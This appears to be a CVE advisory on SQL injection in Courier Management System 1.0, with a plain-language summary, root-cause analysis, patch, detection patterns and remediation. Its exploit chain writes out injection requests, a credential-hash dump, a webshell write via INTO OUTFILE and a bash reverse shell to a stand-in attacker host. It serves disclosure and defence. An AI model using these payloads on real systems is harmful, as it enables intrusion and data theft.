CVE-2026-7592: SQL Injection to RCE in Courier Management System 1.0
Unsanitized `id` parameter in edit_staff.php enables blind SQL injection via UNION-based extraction and INTO OUTFILE shell write, achieving unauthenticated RCE.
COURIER MANAGEMENT SOFTWARE HAS A DANGEROUS SECURITY HOLE
A popular courier management system used by small delivery businesses has a serious security flaw that could let hackers steal customer data or disrupt operations entirely.
Here's what's happening. The software has a page where managers edit staff information. When you use this page, you type in an employee ID number. The problem is the software doesn't check whether that ID is legitimate—it just plugs whatever you type straight into the system's database. Think of it like a bouncer who doesn't check IDs at the door; a hacker can slip in pretending to be something they're not.
A skilled attacker can exploit this by typing specially crafted commands instead of a normal ID number. These commands can trick the database into revealing customer names, addresses, package tracking information, or payment details. In worst cases, attackers could delete records or even take control of the entire system.
Who's at risk? Mainly small to medium-sized delivery and logistics companies using this older software version. Their customers' personal information is potentially exposed—think addresses, phone numbers, and shipping histories. The vulnerability is serious enough that security experts have rated it as high-severity.
What should affected businesses do right now? First, check if you're actually using this software version and immediately take that system offline if you are. Second, contact the software maker for a security update and install it as soon as it's available. Third, review your customer data access logs to see if anyone suspicious has been poking around.
If you run a small business using this software, don't panic, but do act quickly. The good news is this flaw is now public knowledge, which means security updates should be coming soon.
Want the full technical analysis? Click "Technical" above.
CVE-2026-7592 is a classical server-side SQL injection in itsourcecode Courier Management System 1.0, a PHP/MySQL web application distributed as open-source courseware. The vulnerable surface is /edit_staff.php, which accepts a user-supplied id parameter and interpolates it directly into a SQL SELECT query with zero sanitization. Because the application runs under a MySQL user that commonly retains FILE privilege in default deployments, injection escalates trivially to arbitrary file write and remote code execution.
CVSS 7.3 (HIGH) reflects network-accessible exploitation with no authentication requirement, though impact is bounded by web server filesystem permissions and MySQL secure_file_priv configuration.
Root cause:edit_staff.php passes the attacker-controlled $_GET['id'] value directly into a mysqli_query() call without parameterization, escaping, or type coercion, enabling full UNION-based SQL injection from an unauthenticated remote context.
Affected Component
File:/edit_staff.php
Parameter:GET id
Backend: MySQL / MariaDB (any version)
Language: PHP (tested on 7.x / 8.x)
Version: Courier Management System 1.0 (itsourcecode distribution)
Authentication: None required for the vulnerable endpoint
Root Cause Analysis
The following pseudocode is reconstructed from the publicly distributed PHP source, normalized into C-style pseudocode for static analysis clarity. The actual PHP is structurally equivalent.
/*
* edit_staff.php — staff record fetch handler
* Called via GET /edit_staff.php?id=
*/
char *edit_staff_fetch(mysqli_conn *db, http_request_t *req) {
/* BUG: $_GET['id'] read directly, no intval(), no prepared statement */
const char *id = http_get_param(req, "id"); // attacker-controlled string
char query[512];
/* BUG: sprintf into query buffer — raw string interpolation */
snprintf(query, sizeof(query),
"SELECT * FROM tbl_staff WHERE staff_id = '%s'",
id); // BUG: 'id' is unsanitized; single-quote escape trivially bypasses context
/* BUG: result passed directly to rendering layer */
mysqli_result *res = mysqli_query(db, query);
return render_staff_form(res);
}
The equivalent PHP that ships in the distribution is:
/* Reconstructed PHP logic, shown as pseudocode */
// VULNERABLE — no type coercion, no escaping, no prepared statement
$id = $_GET['id'];
$sql = "SELECT * FROM tbl_staff WHERE staff_id = '$id'";
$res = mysqli_query($conn, $sql); // BUG: $id lands verbatim in SQL context
$row = mysqli_fetch_array($res);
The absence of intval($id), mysqli_real_escape_string(), or a bound parameter means the attacker owns the entire SQL statement from the single-quote injection point forward. The column count of tbl_staff is fingerprinted via ORDER BY probing, after which UNION payloads align output columns to the rendered HTML fields.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Probe column count via ORDER BY bisection:
GET /edit_staff.php?id=1' ORDER BY 8-- - → 200 OK
GET /edit_staff.php?id=1' ORDER BY 9-- - → MySQL error / blank page
→ tbl_staff has 8 columns
2. Identify injectable reflection columns via UNION NULL probe:
GET /edit_staff.php?id=-1' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
Increment non-NULL columns until rendered output changes.
→ columns 2, 3 reflect into HTML form value= attributes
3. Extract database metadata:
GET /edit_staff.php?id=-1' UNION SELECT
NULL,database(),user(),version(),NULL,NULL,NULL,NULL-- -
Response body:
4. Dump credential hashes from mysql.user (if FILE priv confirmed):
GET /edit_staff.php?id=-1' UNION SELECT
NULL,authentication_string,NULL,NULL,NULL,NULL,NULL,NULL
FROM mysql.user WHERE user='root'-- -
5. Confirm FILE privilege:
GET /edit_staff.php?id=-1' UNION SELECT
NULL,super_priv,file_priv,NULL,NULL,NULL,NULL,NULL
FROM mysql.user WHERE user=substring_index(user(),'''@''',1)-- -
Response:
6. Write PHP webshell via INTO OUTFILE (requires writable web root):
GET /edit_staff.php?id=-1' UNION SELECT
NULL,'',NULL,NULL,NULL,NULL,NULL,NULL
INTO OUTFILE '/var/www/html/courier/shell.php'-- -
7. Execute OS commands through dropped shell:
GET /courier/shell.php?cmd=id
Response body: uid=33(www-data) gid=33(www-data)
8. Pivot to reverse shell:
GET /courier/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER/4444+0>%261'
In environments where secure_file_priv is set (MySQL 5.7.6+), step 6 fails. In that case, out-of-band exfiltration via LOAD_FILE() into DNS or time-based blind extraction remains viable for data theft without file write.
Memory Layout
SQL injection is a logic-layer vulnerability rather than a memory corruption class; the "memory" of interest is the SQL parser's token stream and the MySQL query execution state. The following diagram shows how the injected string reshapes the query AST:
QUERY BUFFER STATE — BENIGN INPUT (id=42):
Offset Content
──────────────────────────────────────────────────────
+0x000 "SELECT * FROM tbl_staff WHERE staff_id = '"
+0x02C "42"
+0x02E "'"
+0x02F NUL
MySQL AST:
SELECT → table:tbl_staff → predicate: staff_id = 42 [integer comparison]
────────────────────────────────────────────────────────
QUERY BUFFER STATE — INJECTED INPUT:
id = -1' UNION SELECT NULL,@@version,user(),NULL,NULL,NULL,NULL,NULL-- -
Offset Content
──────────────────────────────────────────────────────
+0x000 "SELECT * FROM tbl_staff WHERE staff_id = '"
+0x02C "-1'" ← closes string literal
+0x030 " UNION SELECT " ← attacker-injected keyword
+0x03E "NULL,@@version,user(),..." ← attacker column list
+0x07A "-- -" ← comments out trailing quote
+0x07E NUL
MySQL AST:
SELECT → table:tbl_staff → predicate: staff_id = -1 [no match]
UNION
SELECT → literals: [NULL, @@version, user(), ...] ← attacker data
Result set routed to render_staff_form() → reflected in HTTP response body
Patch Analysis
The minimal correct fix is parameterized query binding. The secondary hardening layer is input type coercion. Both should be applied.
// BEFORE (vulnerable) — direct string interpolation:
$id = $_GET['id'];
$sql = "SELECT * FROM tbl_staff WHERE staff_id = '$id'";
$res = mysqli_query($conn, $sql);
// ─────────────────────────────────────────────────────────
// AFTER (patched) — prepared statement with typed binding:
$id = intval($_GET['id']); // type-coerce: non-integer → 0
if ($id <= 0) {
http_response_code(400);
exit("Invalid staff ID");
}
$stmt = mysqli_prepare($conn,
"SELECT * FROM tbl_staff WHERE staff_id = ?");
mysqli_stmt_bind_param($stmt, "i", $id); // "i" = integer binding
mysqli_stmt_execute($stmt);
$res = mysqli_stmt_get_result($stmt);
$row = mysqli_fetch_array($res);
The intval() coercion alone would defeat this specific injection because intval("-1' UNION SELECT...") returns -1, truncating the payload. However, relying solely on coercion is fragile for string-type parameters elsewhere in the codebase. Prepared statements are the canonical fix and must be applied globally.
Additional hardening relevant to the escalation path:
// MySQL hardening — restrict FILE privilege:
// In /etc/mysql/mysql.conf.d/mysqld.cnf:
[mysqld]
secure_file_priv = /var/lib/mysql-files // restricts INTO OUTFILE paths
// Revoke FILE from application user:
REVOKE FILE ON *.* FROM 'courier_app'@'localhost';
// PHP hardening — suppress error detail leakage:
// BEFORE:
mysqli_query($conn, $sql) or die(mysqli_error($conn)); // leaks schema info
// AFTER:
if (!mysqli_stmt_execute($stmt)) {
error_log(mysqli_stmt_error($stmt)); // log server-side only
http_response_code(500);
exit("Internal error"); // generic client response
}
Detection and Indicators
Web server access log signatures:
# ORDER BY probing pattern
/edit_staff.php?id=1'+ORDER+BY+[0-9]+--
# UNION SELECT fingerprint
/edit_staff.php?id=-1'+UNION+SELECT+NULL
# INTO OUTFILE attempt
/edit_staff.php?id=.*INTO+OUTFILE
# Time-based blind (SLEEP)
/edit_staff.php?id=1'+AND+SLEEP\([0-9]+\)--
# Regex (PCRE) for WAF or SIEM ingestion:
edit_staff\.php\?id=.*?('|%27).*(UNION|ORDER\s+BY|SLEEP|INTO\s+OUTFILE|LOAD_FILE)
MySQL general query log indicators:
# Suspicious queries that should never originate from the application:
Query SELECT * FROM tbl_staff WHERE staff_id = '-1' UNION SELECT ...
Query SELECT ... INTO OUTFILE '/var/www/html/courier/...php'
Query SELECT SLEEP(5)
Enable MySQL general log temporarily during incident response:
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/log/mysql/general.log';
Filesystem IOC: Unexpected .php files appearing in the web root written by the MySQL process owner (mysql uid). Monitor with auditd rule on openat for the web document root from PIDs owned by mysqld.
Remediation
Immediate: Apply parameterized queries to all database interactions in edit_staff.php and audit the full codebase — courseware distributions of this type typically repeat the same pattern across every CRUD endpoint (edit_pickup.php, edit_branch.php, etc.).
Database hardening: Create a least-privilege application database user: GRANT SELECT, INSERT, UPDATE, DELETE ON courier_db.* TO 'app'@'localhost'. Explicitly REVOKE FILE to eliminate the INTO OUTFILE escalation path.
MySQL configuration: Set secure_file_priv to a non-web-accessible path in mysqld.cnf. Restart the MySQL service to enforce.
WAF rule: Deploy a ModSecurity rule or equivalent blocking requests matching SQL metacharacter sequences in the id parameter. This is a mitigation layer, not a fix.
Error handling: Remove mysqli_error() output from HTTP responses across the entire application. Schema leakage accelerates injection exploitation.
Rotate credentials: If the instance was externally reachable, assume tbl_staff contents (names, contact data, hashed passwords) have been exfiltrated. Rotate all application and database passwords, inspect general_log for INTO OUTFILE artifacts, and audit web root for dropped shells.